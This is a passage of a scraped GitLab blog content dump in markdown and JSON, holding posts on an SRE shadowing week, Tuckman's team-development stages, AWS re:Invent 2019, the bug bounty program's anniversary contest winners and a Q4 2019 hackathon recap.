8.0 | 9.5 |\n| **Total OpEx** | **68.3** | **76.9** | **86.4** |\n| | | | |\n| **Profit** | **-13.8** | **0.3** | **44.8** |\n| | | | |\n| Inventory: Goodwill | 25.3 | 59.5 | 96.6 |\n| Inventory: Requirements | 120,868 | 117,567 | 1,176.2 |\n| **Total Inventory** | **120,893.3** | **117,626.5** | **1,272.8** |\n| | | | |\n| **Return On Investment** |  **0%** | **0.0%** | **3.5%** |\n\n\u003Cbr>\n\n## Ending On A Personal Note\n\n> “Remember that hierarchies exist to serve the bottom layers, not the top. Don’t maximize parts of the systems or subsystems while ignoring the whole. Aim to enhance total system properties, such as growth, stability, diversity, resilience, and sustainability - whether they are easily measured or not.” -- [Thinking In Systems](https://www.amazon.com/Thinking-Systems-Donella-H-Meadows/dp/1603580557)\n\nI acknowledge Acme's story and financials were maybe extreme and, at times, overly exaggerated. I did so to help illustrate the main themes that nearly every company I've been a part of has struggled with to varying degrees. Ultimately, the longer we continue to rely on a Value Exchange operating structure and toolchain that consists of dozens of siloed point solutions and people organizations, the longer we will be fixated on the local optimization of its parts. We need to shift our focus towards achieving the global maximum of the Value Exchange System. This will be an ongoing challenge for nearly every company as tranditional organizational theory is over [250 years old](https://aboutleaders.com/10-traditional-organizational-culture-problems/#gs.ij731t) and was designed to replicate factories and machines, not dynamic systems and subsystems that are constantly evolving and changing.  \n\nAs we wrap up, you might be thinking the intelligent decision support tool I described is far fetched and a pipe dream. Topic extraction, cluster analysis, sentiment analysis, Bayesian inference, and NLP does not rely on Strong AI or necessarily adopting a whole new suite of tools. It is all achievable by a capable team of data scientists and engineers using currently available open-source packages, ML libraries, and advanced statistics leveraging data most companies already have on hand. As DevOps continues to take hold and organizations shift from a project to product mindset, it's just a matter of time until someone capitalizes on the tremendous opportunity there is in optimizing the feedback loops from sales, marketing, product, engineering, UX, and customer support at scale.\n\nWhen I first started at GitLab, I thought the idea of building a single application for the entire DevOps lifecycle was insane and nearly unachievable. That challenge is part of what drew me to the company. Now that I have more perspective, I'm starting to realize that maybe we've been thinking too small. Anyone up for some dogfooding?   \n\nAll posts in the series:\n\n- Part 1: [A Gentle(ish) Introduction](/blog/optimizing-the-value-exchange-a-gentle-introduction/\n)\n- Part 2: [Reduce Waste To Increase Flow](/blog/optimizing-the-value-exchange-reduce-waste-to-increase-flow/)\n- Part 3: The Compounding Value Of Shorter Feedback Loops\n\n_**Giving credit where it is due:** The Lean Sprint and Continuous Innovation Framework were developed by Ash Maurya, founder of [LeanStack](https://leanstack.com/)._\n\nCover photo by Ryan Hafey on [Unsplash](https://unsplash.com/photos/PdJjT-zYg_E)\n",[1899,10921,1444],{"slug":25775,"featured":6,"template":678},"optimizing-the-value-exchange-the-compounding-value-of-shorter-feedback-loops","content:en-us:blog:optimizing-the-value-exchange-the-compounding-value-of-shorter-feedback-loops.yml","Optimizing The Value Exchange The Compounding Value Of Shorter Feedback Loops","en-us/blog/optimizing-the-value-exchange-the-compounding-value-of-shorter-feedback-loops.yml","en-us/blog/optimizing-the-value-exchange-the-compounding-value-of-shorter-feedback-loops",{"_path":25781,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25782,"content":25787,"config":25792,"_id":25794,"_type":16,"title":25795,"_source":17,"_file":25796,"_stem":25797,"_extension":20},"/en-us/blog/sre-shadow",{"title":25783,"description":25784,"ogTitle":25783,"ogDescription":25784,"noIndex":6,"ogImage":24094,"ogUrl":25785,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25785,"schema":25786},"My week shadowing a GitLab Site Reliability Engineer","On-call through the eyes of a software engineer. Read Tristan's week shadowing a GitLab Site Reliability Engineer","https://about.gitlab.com/blog/sre-shadow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"My week shadowing a GitLab Site Reliability Engineer\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tristan Read\"}],\n        \"datePublished\": \"2019-12-16\",\n      }",{"title":25783,"description":25784,"authors":25788,"heroImage":24094,"date":25699,"body":25790,"category":18484,"tags":25791},[25789],"Tristan Read","\n{::options parse_block_html=\"true\" /}\n\n## Site Reliability Engineer (SRE) - Shadow\n\nFirst-off I'll introduce myself - I'm [@tristan.read](https://gitlab.com/tristan.read), a Frontend Engineer in GitLab's [Monitor::Health Group](https://about.gitlab.com/handbook/engineering/development/ops/monitor/respond/). Last week I had the privilege of shadowing one of GitLab's on-call SREs. The purpose was to observe day-to-day incident response activities and gain some real-life experience with the job. We'd like all of our engineers to better understand and develop empathy for users of Monitor::Health [features](https://about.gitlab.com/handbook/product/categories/#health-group).\n\nThe idea for the week is to follow everything the SRE does. This means I attended handover meetings, watched the same alert channels, and joined incident response calls if and when they occurred.\n\n## Incidents\n\nTwo incidents occurred during the week while I was shadowing.\n\n### 1. Crypto miner\n\nOn Wednesday a jump in [GitLab Runner](https://docs.gitlab.com/runner/) usage was detected on GitLab.com - this was caused by a user attempting to use runner minutes to mine crypto coins. This was dealt with by using an in-house abuse mitigation tool, which stops the runner jobs and removes the associated project and account.\n\nHad this event not been spotted it would have been caught by an automated tool, but in this case the SRE spotted it first. An incident issue was raised for this, but it remains private.\n\n### 2. Performance degredation on Canary and Main applications\n\nThis incident was triggered by slowdowns and increased error rates appearing on GitLab.com's canary and main web applications. Several Application Performance Index (Apdex) Service Level Objectives (SLO) were violated.\n\nPublic incident issue: [https://gitlab.com/gitlab-com/gl-infra/production/issues/1442](https://gitlab.com/gitlab-com/gl-infra/production/issues/1442)\n\n## Key Takeaways\n\nThese are some things that I learned during the week on-call.\n\n### 1. Alerting is most useful when it detects a change from the norm\n\nAlerts can be split into several types:\n1. Alerts based on a specific threshold value, such as \"10 5xx errors occurred per second\".\n2. Alerts where the threshold is a percentage value, such as \"5xx error rate at 10% of total requests at this time\".\n3. Alerts that are based on a historical average, such as \"5xx error rate is in the 90th percentile\".\n\nIn general, types 2 and 3 are more useful for on-call SREs, as they reveal that something out of normal is occurring.\n\n### 2. Many alerts don't progress into an actual incident\n\nSREs deal with a constant stream of alerts. Many of these aren't super time-critical.\n\nWhy don't they limit the alerts to only things that are critical? This approach might cause early symptoms to be missed until they snowball into a higher impact issue.\n\nIt's the job of the on-call SRE to decide which alerts indicate something serious and when to escalate or investigate further. I suspect this may also be caused by inflexibility in alerts - it could be better to have more alert levels, or 'smarter' ways of setting up alerts as described above.\n\nFeature proposal: [https://gitlab.com/gitlab-org/gitlab/issues/42633](https://gitlab.com/gitlab-org/gitlab/issues/42633)\n\n### 3. Our on-call SREs use many tools\n\nInternal:\n- **GitLab infra project**: Runbooks live here. Handovers for the on-call shift/week. Incident Response issues.\n- **GitLab issues**: Investigation, post-mortems and maintenance work are also tracked with issues.\n- **GitLab labels**: Automation is triggered by certain labels using bots that monitor issue activity.\n\nExternal:\n- **PagerDuty**: Alerts\n- **Slack**: PagerDuty/AlertManager stream posted here. Integration with slash-commands to perform various tasks - e.g. resolve an alert or escalate an alert into an incident.\n- **Grafana**: Visualization of metrics with a focus on long-term trends.\n- **Kibana**: Provides visualization / log searching. Ability to drill into specific events.\n- **Zoom**: There is an always-running \"Situation Room\" Zoom call. This allows us SREs to quickly discuss events without wasting valuable time creating a meeting room and communicating the links out to everyone.\n\nAnd many many more.\n\n### 4. Monitoring GitLab.com with GitLab represents a single point of failure\n\nIf GitLab.com has a major outage, we don't want that affecting our ability to resolve the problem. This could be mitigated by running a second GitLab instance for operating GitLab.com. In fact, we already have this with [https://ops.gitlab.net/](https://ops.gitlab.net/).\n\n### 5. Some features we should consider adding to GitLab\n\n- [Multi-user edit on issues](https://gitlab.com/gitlab-org/gitlab/issues/103531), similar to Google Docs. This would aid both Incident issues in the middle of an event, and post-mortem issues. Both are situations when multiple people might want to add things to an issue in real-time.\n- More webhooks for issues. Being able to trigger different steps of the workflow from within GitLab will help reduce the reliance on Slack integrations. For instance: being able to resolve an alert in PagerDuty via a slash-command in a GitLab issue.\n\n## Conclusion\n\nSREs have a tough job with many complexities. It would be great to see more GitLab products in use solving these problems. We're already working on some additions to the product that will help with the above workflows. See the [Ops Section Product Vision](https://about.gitlab.com/direction/ops/) for more details.\n\nIn 2020 we'll be expanding the team so that we can build all of these exciting features. Please see [our vacancies](https://about.gitlab.com/jobs/) if you're interested, and feel free to get in touch with one of our team members if you have questions about the role.\n\nCover image by [Chris Liverani](https://unsplash.com/@chrisliverani?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[4103,6962],{"slug":25793,"featured":6,"template":678},"sre-shadow","content:en-us:blog:sre-shadow.yml","Sre Shadow","en-us/blog/sre-shadow.yml","en-us/blog/sre-shadow",{"_path":25799,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25800,"content":25806,"config":25811,"_id":25813,"_type":16,"title":25814,"_source":17,"_file":25815,"_stem":25816,"_extension":20},"/en-us/blog/how-to-strengthen-agile-teams-with-tuckmans-model",{"title":25801,"description":25802,"ogTitle":25801,"ogDescription":25802,"noIndex":6,"ogImage":25803,"ogUrl":25804,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25804,"schema":25805},"Strengthen your Agile teams with Tuckman's stages of group development","Learn how to build up your agile teams  teams after breaking down silos for further group development","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680924/Blog/Hero%20Images/tuckmansstages.jpg","https://about.gitlab.com/blog/how-to-strengthen-agile-teams-with-tuckmans-model","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Strengthen your Agile teams with Tuckman's stages of group development\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-12-13\",\n      }",{"title":25801,"description":25802,"authors":25807,"heroImage":25803,"date":25808,"body":25809,"category":299,"tags":25810},[20767],"2019-12-13","\n\nThe silos between development and operations teams are a common source of friction and bottlenecks. When teams battle silos, cycle time increases and business value stalls. Recently, software leaders have learned how to break down silos through communication and collaboration, but learning how to rebuild teams is a greater challenge. How can teams come together when their traditional behaviors and relationships have changed?\n\n## The answer: Tuckman's stages of group development\n\nIn 1965, psychologist Bruce Tuckman [published a study on the developmental sequence in   small groups](http://web.mit.edu/curhan/www/docs/Articles/15341_Readings/Group_Dynamics/Tuckman_1965_Developmental_sequence_in_small_groups.pdf). His findings highlighted the importance of four stages of development - forming, storming, norming, and performing - in order for a group to ideate, collaborate, plan, and deliver. \n\n**In the forming stage**, groups identify challenges and goals. Team members orient themselves to acceptable interpersonal behaviors and test boundaries to guide their interactions. **In the storming stage**, team members build trust by sharing their thoughts, which oftentimes leads to conflict, and discover various working styles. **In the norming stage**, the group resolves their differences and begins building a stronger sense of community and closeness. Individuals understand that they have common goals and must work together to achieve them. **In the performing stage**, the team achieves goals, functions independently, and resolves conflicts. Team members support each other and are more flexible in their roles.\n\n## How to strengthen Agile teams\n\nWhen leaders break down silos, team members often feel adrift due to the sudden cultural shift. To prevent a dysfunctional culture in which individuals don’t trust and support each other, leaders must make group development a priority. Applying Tuckman’s four stages to [Agile team development](/solutions/agile-delivery/) can result in a stronger dynamic. \n\n### Forming\n\nWhen management forms an Agile team, considering strengths and skills is a necessary aspect of purposefully curating a team. Team members should complement each other but not mirror each other, since the goal of an Agile team is to have a cross-functional team in which various members bring their strengths to work together. \n\nAfter eliminating silos, leaders must model and identify the behavior they want the team to adopt. Team members will look to a leader, such as a Scrum Master, for guidance. It’s typical for individuals to focus solely on their work rather than view the team as a collective entity working towards a goal. When this happens, it’s up to the Scrum Master to help individuals develop a shared mentality. After each ideation or sprint, the Scrum Master should gather the team to conduct a retrospective to understand what went well, what went wrong, and how to improve during the next ideation. Team members can work together to identify goals, assisting in the development of a sense of community. \n\n### Storming\n\nOnce individuals begin to see each other as teammates, conflict can arise, since people feel more comfortable sharing their opinions. When rebuilding teams after eliminating silos, it’s natural for individuals to shift blame onto others, so the goal in this stage is to cultivate trust, communication, and collaboration. \n\nThe Scrum Master is responsible for helping teammates resolve conflict, manage tension, and coach behaviors. As a calming influence on the team, the Scrum Master can quickly resolve conflicts and help the team remain productive. By documenting decisions, committing to transparency and visibility, and collaborating to determine solutions, teams can create an open culture in which experimentation is embraced and shortcomings are viewed as learning opportunities. Team members should continue to feel safe dissenting and sharing thoughts, but the focus should be on continuous improvement and identifying solutions rather than placing blame. \n\n### Norming \n\nTransitioning from Storming to Norming can be a difficult endeavor for many Agile teams, but once the shift is made, the focus becomes empowerment and implementation. After learning how to resolve conflict in the previous stage, the team is now able to embrace differences and view challenges from multiple perspectives. \n\nRetrospectives should become a ritual that occurs after each sprint. When the team moves to Norming, the next retro should set aside time to plan for sustainable delivery. The Scrum Master and other leaders should provide feedback to team members, while teammates provide feedback on processes and workflows. At this point in the group’s development, the individuals see themselves as part of a team working towards shared goals. There is mutual trust and open communication, and the team works together as a cohesive unit.\n\n### Performing\n\nAt this stage, the team is highly motivated and interested in expanding their efforts. Leadership should assume a supporting role, since the team now functions autonomously with an emphasis on continuous learning. Because teams seek to improve, they’re able to identify bottlenecks, the potential for silos, and impediments to innovation. \n\nThe team is now fully formed and productive. Individuals collaborate and communicate well, and they have a strong sense of identity and vision. The Agile team consistently delivers and embraces change. \n\nAny time groups evolve or new leadership walks through the door, teams can feel insecure and relive one or more of these stages. By implementing these techniques with your team, you can support your team’s growth and development, helping them maintain a strong Agile methodology and culture.\n\nCover image by [Markus Spiske](https://unsplash.com/@markusspiske?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/vrbZVyX2k4I)\n{: .note}\n",[1899,2368,1444],{"slug":25812,"featured":6,"template":678},"how-to-strengthen-agile-teams-with-tuckmans-model","content:en-us:blog:how-to-strengthen-agile-teams-with-tuckmans-model.yml","How To Strengthen Agile Teams With Tuckmans Model","en-us/blog/how-to-strengthen-agile-teams-with-tuckmans-model.yml","en-us/blog/how-to-strengthen-agile-teams-with-tuckmans-model",{"_path":25818,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25819,"content":25824,"config":25829,"_id":25831,"_type":16,"title":25832,"_source":17,"_file":25833,"_stem":25834,"_extension":20},"/en-us/blog/updates-from-aws-reinvent",{"title":25820,"description":25821,"ogTitle":25820,"ogDescription":25821,"noIndex":6,"ogImage":17364,"ogUrl":25822,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25822,"schema":25823},"Highlights from AWS re:Invent 2019","DevOps dining, selecting jukebox tunes, learning ‘Dog’Ops from Wag!, supporting Graviton, and more from AWS re:Invent 2019.","https://about.gitlab.com/blog/updates-from-aws-reinvent","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Highlights from AWS re:Invent 2019\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tina Sturgis\"}],\n        \"datePublished\": \"2019-12-13\",\n      }",{"title":25820,"description":25821,"authors":25825,"heroImage":17364,"date":25808,"body":25827,"category":299,"tags":25828},[25826],"Tina Sturgis","\n\nAWS re:Invent is both energizing and exhausting all at the same time. Come on... admit it, you think so too! But, it is actually one of my favorite events of the year. It is just me and approximately 65,000 of my best friends coming together to hear what AWS is up to and how it will effect GitLab and our joint users. \n\n\n## AWS announcements and how they relate to GitLab\n\n**Transformation.** I am a sucker for a transformation theme and AWS didn’t disappoint this year. Whether we are talking transformation personally or in our business, I can’t help but visualize a caterpillar transforming into a beautiful butterfly. \n\nAWS internally reflected as well as challenged their customers to think about “How should we reinvent ourselves?” In the [keynote with Andy Jassy](https://www.youtube.com/watch?v=7-31KgImGgU), Goldman Sachs, and Verizon each told their stories about transforming their business with AWS. While each story was a little different, they all talked about what they have accomplished with AWS. \n\nI sat back and reveled in the fact that the ‘untold’ story of [Goldman Sachs](/customers/goldman-sachs/) is that GitLab’s [DevOps platform](/solutions/devops-platform/) is used exclusively by their dev teams across the entire software development lifecycle. They have been able to remove toolchain complexity while going from providing a build once every two weeks to over a thousand per day. Talk about a transformation. Just imagine the velocity in their build cycle that they are able to achieve. \n\n**Amazon Fargate for Amazon EKS.**: Customers asked and AWS took action by launching Amazon Fargate for Amazon EKS. This is big news seeing that 84% of all Kubernetes installations run on AWS. So if you are looking to manage your containers at the task level, this announcement should have you dancing in your seat. Two out of five new container customers choose to start their container journey with Amazon Fargate, citing its overall ease of use. GitLab already supports Amazon Fargate and Amazon EKS, so it is very natural that we are excited about this new launch. Have a look at our [Trek10 customer case study](/customers/trek10/) to learn more about how it is using GitLab and Amazon Fargate today.\n\n**AWS Graviton**: AWS announced the next generation of Graviton with native runners for 32 and 64-bit ARM-based processors. GitLab already supports this service and our customers are already contributing.\n\n## WAG!’s phased approach to ‘Dog’Ops...errrrr DevOps \n\nDave Bullock from Wag! went through the first two phases of the transformation journey with both AWS and GitLab. Some of my favorite highlights from his talk, in his words, were:\n\n```\n“Automate all the things!”\n\n“We wanted Dev to work locally to test and monitor themselves so they take ownership.”\n\n“Everything as code! Code, not clicks!”\n\n“Everything is built into the pipeline...if something happens you can rollback at each step.”\n\n“Change is hard, things break! No one is perfect.”\n```\n\nWatch the full [Wag! story](https://youtu.be/HfEl9GXZC0s) from AWS re:Invent. \n\n\n\n## The importance of early security\n\n[Brandon Jung](/company/team/#bjung), our VP of alliances and board member at the Linux Foundation, sat down with Stu Miniman and John Walls, hosts of [theCUBE](https://www.thecube.net), to talk about how [GitLab empowers DevOps while making CISOs happy](https://siliconangle.com/2019/12/06/qa-gitlab-empowers-devops-making-cisos-happy-reinvent/). Brandon explained how GitLab users are able to include security earlier in the software development process, which saves them money because they're not iterating in the production phase.\n\nWatch [Brandon’s full interview](https://www.youtube.com/watch?v=Auua2qMYFOw).\n\n## Do you want to play a game?\n\nWe love games here at GitLab and were thrilled to be the featured SCM tool used in [AWS GameDay](https://aws.amazon.com/gameday/) at re:Invent this year. AWS GameDay is an interactive team-based learning exercise designed to give players a chance to put their AWS skills to the test in a real-world, gamified, risk-free environment. Expect to see us \"play\" a bigger role in AWS GameDay in 2020. \n\nThis year, the GitLab DevOps Diner-themed booth earned an honorable mention for the [best booth by AWS](https://twitter.com/AWSreInvent/status/1202735726153981953). Our corporate events team stayed laser-focused and each and every corner of the booth, including the swag, had the diner theme. My personal fav was the jams on the jukebox – I think this is a must-have in every one of our booths. We are already thinking about how to outdo the diner theme in 2020.\n\n![GitLab Diner at AWS](https://about.gitlab.com/images/blogimages/gitlabdiner.jpg){: .shadow.medium.center}\n\nLet’s keep the conversation going...what were your favorite parts at re:Invent this year? Comment here or ping me on Twitter @t_sturgis!\n",[267,2704,2368,277,736],{"slug":25830,"featured":6,"template":678},"updates-from-aws-reinvent","content:en-us:blog:updates-from-aws-reinvent.yml","Updates From Aws Reinvent","en-us/blog/updates-from-aws-reinvent.yml","en-us/blog/updates-from-aws-reinvent",{"_path":25836,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25837,"content":25842,"config":25848,"_id":25850,"_type":16,"title":25851,"_source":17,"_file":25852,"_stem":25853,"_extension":20},"/en-us/blog/bugs-bounties-and-cherry-browns",{"title":25838,"description":25839,"ogTitle":25838,"ogDescription":25839,"noIndex":6,"ogImage":20429,"ogUrl":25840,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25840,"schema":25841},"Bugs, bounties, and cherry browns","Cheers, our bug bounty program is celebrating one year!","https://about.gitlab.com/blog/bugs-bounties-and-cherry-browns","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Bugs, bounties, and cherry browns\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Juan Broullon\"}],\n        \"datePublished\": \"2019-12-12\",\n      }",{"title":25838,"description":25839,"authors":25843,"heroImage":20429,"date":25845,"body":25846,"category":674,"tags":25847},[25844],"Juan Broullon","2019-12-12","\n\nOne year ago today, [we launched our public bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/), a crucial element in our strategy to secure our product and protect our company. \n\n### Bigger, stronger, more secure\n\nIt seems like only yesterday (ok, June 2014) that we launched our first program on HackerOne, a vulnerability disclosure initiative that would award security researchers swag in exchange for bugs. Once that program was mature enough – and our security team was prepared to manage it – the next natural step was a public bug bounty program which lead to a huge increase in report submissions and cash in reporters' pockets!\n \nOver the past year we’ve started tackling some [early lessons learned](/blog/what-we-learned-by-taking-our-bug-bounty-program-public/) and evolved the way we communicate with our reporters, the way we reward bounties, and even [what we’re paying for high and critical severity findings](/blog/were-increasing-bounties-in-our-bug-bounty-program/). But we’re not done learning yet.  We want everyone to contribute and are always keen to hear about new ways to improve our bug bounty program so let us know if you have any suggestions. \n\nAs we look back at the past year, we’re proud to report that we’ve received a total of 1378 reports from 513 extremely talented security researchers from across the globe. We awarded a total of $565,650 in bounties to 171 researchers who reported valid vulnerabilities. The program kept our engineers on their toes, challenged and surprised our security team, and helped us keep GitLab more secure.\n\n### We’re pretty excited about all this, but we know you’re waiting with bated breath to hear about some even more riveting news... \n\nIn October, we announced a [bug bounty contest](/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest/). From October 1 through November 30, we were looking for contributors to our program across the following areas: \n\n• Most reputation points from submissions to our program    \n• Most reputations points collected by a reporter new to our program  \n• Best written report  \n• Most innovative report  \n• Most impactful finding \n\nWe just knew our reporters WOULD NOT DISAPPOINT.  \n\n**We received 279 reports from 123 different individuals between October 1 and November 30, and 89 of them were from new reporters!**  \n\n### Thank you to all who contributed. We’re beyond excited to announce these winners:\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.**  Congratulations to [@xanbanx](https://hackerone.com/xanbanx) who leads the pack in reputation points this period.\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputations points *collected by a reporter new to our program***.  Congratulations to [@peet86](https://hackerone.com/peet86) who had the highest reputation score for a new reporter to our program.\n{: #id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Best written report.**  Congratulations to [@rpadovani](https://hackerone.com/rpadovani), your numerous Elasticsearch reports which were consistently clear and concise.\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.**  Congratulations to [@ngalog](https://hackerone.com/ngalog), the technique you used to disclose private data on GitLab Pages was unique and creative.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-rocket fa-fw\" style=\"color:rgb(252,109,38); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.**  Congratulations @nyangawa of Chaitin Tech for your report on a complex path traversal bug which lead to remote code execution.\n{: #id-rocket}\n\n*Since it is [GitLab’s policy](https://hackerone.com/gitlab#disclosure) to share details via public GitLab.com issue 30 days after releasing a fix, the details of our best written report, most innovative report and most impactful finding winners will be released in a future blog post.*  \n\n### And, to give you a peep of the custom swag our five winners will be receiving:\n\n![custom GitLab Mechanical Keyboard, picture 1](https://about.gitlab.com/images/blogimages/bug-bounty-turns-one/wasd-tanuki-keyboard-1.jpg){: .shadow.medium.center}\n61 mechanical keys to add some clickety clack to your hackety hack. You'll want to ditch the chiclets and get with these gold-plated cherry mx switches.\n{: .note.text-center}   \n\n![custom GitLab Mechanical Keyboard, picture 4](https://about.gitlab.com/images/blogimages/bug-bounty-turns-one/wasd-tanuki-keyboard-4.jpg){: .shadow.medium.center}\nA Tanuki-powered Poker 3. We’re pretty sure this 60% mechanical keyboard will help you keep it 💯.\n{: .note.text-center} \n\nTo everyone who has contributed to our program in the past year, thank you for making it a success. \n\nDespite a very impressive 2019, we know there’s still a lot of room for improvement in our program. We plan to continue to grow and enhance our bug bounty efforts in the coming year so keep an eye on this blog for updates.\n\nHappy hacking,\n\nThe GitLab Security team\n\n",[674,1938],{"slug":25849,"featured":6,"template":678},"bugs-bounties-and-cherry-browns","content:en-us:blog:bugs-bounties-and-cherry-browns.yml","Bugs Bounties And Cherry Browns","en-us/blog/bugs-bounties-and-cherry-browns.yml","en-us/blog/bugs-bounties-and-cherry-browns",{"_path":25855,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25856,"content":25861,"config":25865,"_id":25867,"_type":16,"title":25868,"_source":17,"_file":25869,"_stem":25870,"_extension":20},"/en-us/blog/q4-hackathon-recap",{"title":25857,"description":25858,"ogTitle":25857,"ogDescription":25858,"noIndex":6,"ogImage":19778,"ogUrl":25859,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25859,"schema":25860},"What went down at the Q4'2019 GitLab Hackathon","A recap of GitLab community's accomplishments during annother record-setting Hackathon on November 13-14.","https://about.gitlab.com/blog/q4-hackathon-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What went down at the Q4'2019 GitLab Hackathon\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2019-12-12\",\n      }",{"title":25857,"description":25858,"authors":25862,"heroImage":19778,"date":25845,"body":25863,"category":18484,"tags":25864},[21623],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThe GitLab community gathered on November 13-14 for the Q4 Hackathon, and I never get tired of saying that we again set a new record for the number of [MRs submitted (109)](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/issues/28#merge-request-list). It was great to see many new community members join with their first MRs and also follow the tutorial sessions. If you missed any of the tutorial sessions, you can find recordings on [the Hackathon playlist](https://www.youtube.com/playlist?list=PLFGfElNsQthapq-CyXBTVnT2yKqg1JrNh). Also, if you have any suggestions for tutorial topics at future Hackathons you should definitely let me know in the comments section below!\n\n## What did we accomplish?\n\nI mentioned during the kickoff session that it'd be nice to cross the 100 mark for the Hackathon MRs and we saw over 70 MRs on the first day alone. Out of the 109 Hackathon MRs, 79 of these were merged by November 25th, so again big kudos to wider community members and reviewers who made all this possible. \n\nThere are a few things I think deserve special mention. First is [this Epic](https://gitlab.com/groups/gitlab-org/-/epics/2197) that was created by Gitlab's Senior Frontend Enginner [Winnie Hellmann](https://gitlab.com/winh) before the Hackathon. The Epic had \"bite-sized\" issues that contributors were able to tackle during the event and led to almost 30 MRs during the Hackathon. I think this is a great template that we can use for future Hackathons to make it easier for participants to find issues that they can work on. Winnie was also active in providing timely reviews of these MRs and this was certainly appreciated by the wider community.  \n\nThe second highlight was [this MR](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/34822) from [Utkarsh Gupta](https://gitlab.com/utkarsh2102) as he helped make sure gender-neutral pronouns are used in our [handbook](https://about.gitlab.com/handbook/). MRs like this help make sure that we continue to have a great community at GitLab in addition to having a great software and documentation. As you can see in the next section, Utkarsh made a lot of contributions during the Hackathon, but this MR made me feel proud to be a part of the GitLab community. \n\n![Hackathon stats](https://about.gitlab.com/images/blogimages/hackathon-blogpost/q4-hackathon-stats-chart.png){: .shadow.medium.center}\n\n## Hackathon prizes\n\nFor this Hackathon, we created a tech organizer for everyone who had their MRs merged by November 25th and [18 people](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/issues/29) will be receiving the GitLab branded organizer. As we did in the past few quarters, we have a prize for second place and [Lee Tickett](https://gitlab.com/leetickett) is the winner with 15 MRs merged. The grand prize goes to [Utkarsh Gupta](https://gitlab.com/utkarsh2102) with 28 MRs merged, which is another record for the grand prize (the previous record was 13 MRs). Thanks and congratulatations to everyone!\n\n![Hackathon prizes](https://about.gitlab.com/images/blogimages/hackathon-blogpost/q4-hackathon-prizes.png){: .shadow.medium.center}\n\n## When is the next Hackathon?\n\nI'm happy to announce that the Q1 Hackathon will take place on February 12-13, 2020. It is already advertised on [the Hackathon page](/community/hackathon/) with a new countdown clock. Please look out for more announcements as we get closer to the next Hackathon date. Also, if you have any suggestions for the Q1 Hackathon please feel free to suggest them on [the GitLab Contributors Gitter](https://gitter.im/gitlabhq/contributors).\n\n## How do I get started with contributing?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can\ncontribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\n[\"GitLab application screengrab\"](https://unsplash.com/photos/ZV_64LdGoao) by [Pankaj Patel](https://unsplash.com/@pankajpatel) on Unsplash\n{: .note}\n",[267,2368,815],{"slug":25866,"featured":6,"template":678},"q4-hackathon-recap","content:en-us:blog:q4-hackathon-recap.yml","Q4 Hackathon Recap","en-us/blog/q4-hackathon-recap.yml","en-us/blog/q4-hackathon-recap",{"_path":25872,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25873,"content":25879,"config":25884,"_id":25886,"_type":16,"title":25887,"_source":17,"_file":25888,"_stem":25889,"_extension":20},"/en-us/blog/gl-for-pm-prt-2",{"title":25874,"description":25875,"ogTitle":25874,"ogDescription":25875,"noIndex":6,"ogImage":25876,"ogUrl":25877,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25877,"schema":25878},"2 Examples of how marketing uses GitLab to manage complex projects","How GitLab technology powers integrated marketing campaigns and product marketing projects.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680908/Blog/Hero%20Images/stickynotes.jpg","https://about.gitlab.com/blog/gl-for-pm-prt-2","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"2 Examples of how marketing uses GitLab to manage complex projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": 